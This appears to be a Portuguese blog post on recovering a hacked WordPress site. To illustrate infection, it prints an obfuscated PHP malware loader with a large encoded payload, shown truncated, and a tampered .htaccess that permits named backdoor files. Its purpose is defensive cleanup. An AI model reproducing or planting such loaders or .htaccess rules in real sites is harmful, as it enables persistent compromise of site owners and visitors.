Ícone do site SOLOWEB Tecnologia

Meu WordPress foi invadido e agora?

Antes de começar essa dica vou postar aqui 2 dicas que vai ser essencial para continuidade desse post, a primeira é “Excelente plugin gratuito de segurança para WordPress” e a segunda é “Como realizar buscas de arquivos maliciosos em seu site

Com essas duas dicas você poderá praticamente resolver problemas de invasão em seu WordPress. Mas precisamos seguir alguns ritos para resolver esse problema e nesse post vamos tentar destrinchar esse problema que vem se tornando uma dor de cabeça frequente na vida de quem possui um site em WordPress.

Verificar estrutura principal

Verifique a estrutura principal inicial do seu WordPress. Chamamos de estrutura principal tudo que está no index do seu CMS, veja abaixo o que é padrão da estrutura principal do WordPress:

wp-admin/     wp-config.php         wp-cron.php        wp-load.php   wp-settings.php   xmlrpc.php
index.php    readme.html        wp-blog-header.php    wp-config-sample.php  wp-includes/        wp-login.php  wp-signup.php
license.txt  wp-activate.php    wp-comments-post.php  wp-content/            wp-links-opml.php  wp-mail.php   wp-trackback.php

Quando não esta com este padrão, então verifique qualquer tipo de arquivo adicional, data que foi adicionado, entre outros. A seguir exemplo de uma estrutura comprometida:

Exemplo de conta comprometida

Como pode ser visto, vários arquivos foram adicionados e com certeza esses arquivos contêm códigos maliciosos para acesso a toda estrutura do seu site e quiça todo servidor.

Verifique se há adição de scripts maliciosos nos arquivos core do WordPress

Nesta última imagem vemos além de arquivos maliciosos, vemos também arquivos core(arquivos da estrutura do WordPress) que foram modificados. O invasor realizou a inserção de scripts maliciosos e geralmente a padrões nessa inserção no qual você poderá estar usando para pesquisar e limpar esses arquivos.

Abaixo alguns exemplos desses padrões:

<?php $H1xiU
=function
($lU1   ) {$Sx0 = "Q";$Tg13YDGX='S'.'W';
$Tg13YDGX.=     ((94 -90) /4).  'T'     ; $Tg13YDGX .=^M        $Sx0[(36 - 35- 1) / 5] .
'';             return $Tg13YDGX($lU1);
};
$fOHwiF^M=function ($q2LjZaL    ,$fibCjHKZ      ,$DOO2D) {$CB9t="Ijs_XmqhcKPU";         return $CB9t;
};      ^M
$hwSkYxqOb      =       function        (){return "sAIc7KN7PRwbv464TOs9L";
};$pIkm = function ($EbJ6I) {$i8etl = "Tmav";$YkAE9_5z=$i8etl[(48 - 45- 3)/ 2]  .$i8etl[(21- 26 + 10) /5]       .$i8etl[(91-76) /5]. $i8etl[(52 - 36 -4) / 6]
.       's' . 'y'.'N'
; $YkAE9_5z .='g'; $YkAE9_5z^M.=^M      'r'.    ''; $YkAE9_5z=
str_rot13($YkAE9_5z);return $YkAE9_5z($EbJ6I); };$ZPK='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';
...
...
...

Esse acima o invasor nem se preocupou em só inserir script malicioso, ele alterou toda estrutura do arquivo index.php, aí, logo de cara, já podemos remover tudo e inserir apenas o padrão WordPress.

wp-login comprometido

Essa acima é o arquivo wp-login.php comprometido com código malicioso.

Verifique arquivos .user.ini, php.ini e .htaccess

Existe também 3 arquivos que você precisa verificar se esta fora do padrão ou foi adicionado. É o .htaccess, php.ini e o .user.ini

Esses 2 últimos você precisa saber se realmente existia em sua conta ou não, pois estes são arquivos de configuração de usuário, e eles às vezes são usados para adicionar mais recursos do php para seu site. Caso você não tenha feito essa configuração, suspeite deles. Abaixo vou citar o exemplo do .htaccess padrão e modificado do WordPress:

Padrão
-=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=-
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
-=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=-
Modificado
-=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=--=-=-=-=-
<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php)$">
 Order allow,deny
 Deny from all
</FilesMatch>
<FilesMatch "^(votes|themes|xmlrpcs|uninstall|wp-login|radio|locale|admin|kill|a|allht|index|index1|admin2|license3|votes4|foot5|font|wjsindex|load|home|items|store|font-editor|contents|access|end|years).php$">
 Order allow,deny
 Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>

Sempre ficar atento para não se confundir com modificações realizadas por plugins de segurança comum no WordPress.

Verificação de Malware em toda estrutura

Após realizar toda limpeza na estrutura inicial, verifique se o WordPress esta acessando e realize o login no wp-admin para instalação do plugin de segurança informado no início deste post.

Essa etapa é a mais importante, pois ela realizará a limpeza de toda estrutura para depois de tudo isso você começar a realizar a atualização do seu WordPress.

Trocar senhas de tudo.

Após toda limpeza realizada você deverá trocar todas as senhas relacionada ao seu site. Troque senha de servidor, painel, e-mail e principalmente do WordPress. Troque por senhas de segurança forte.

Mantenha seu WordPress atualizado

É de extrema importância esse passo, pois as atualizações sempre fecham brechas de segurança descobertas em versões anteriores, plugins, temas e principalmente o core do WordPress.

Com essas dicas seu WordPress voltará a ficar protegido e você voltará a ter sossego em seu servidor.

Sair da versão mobile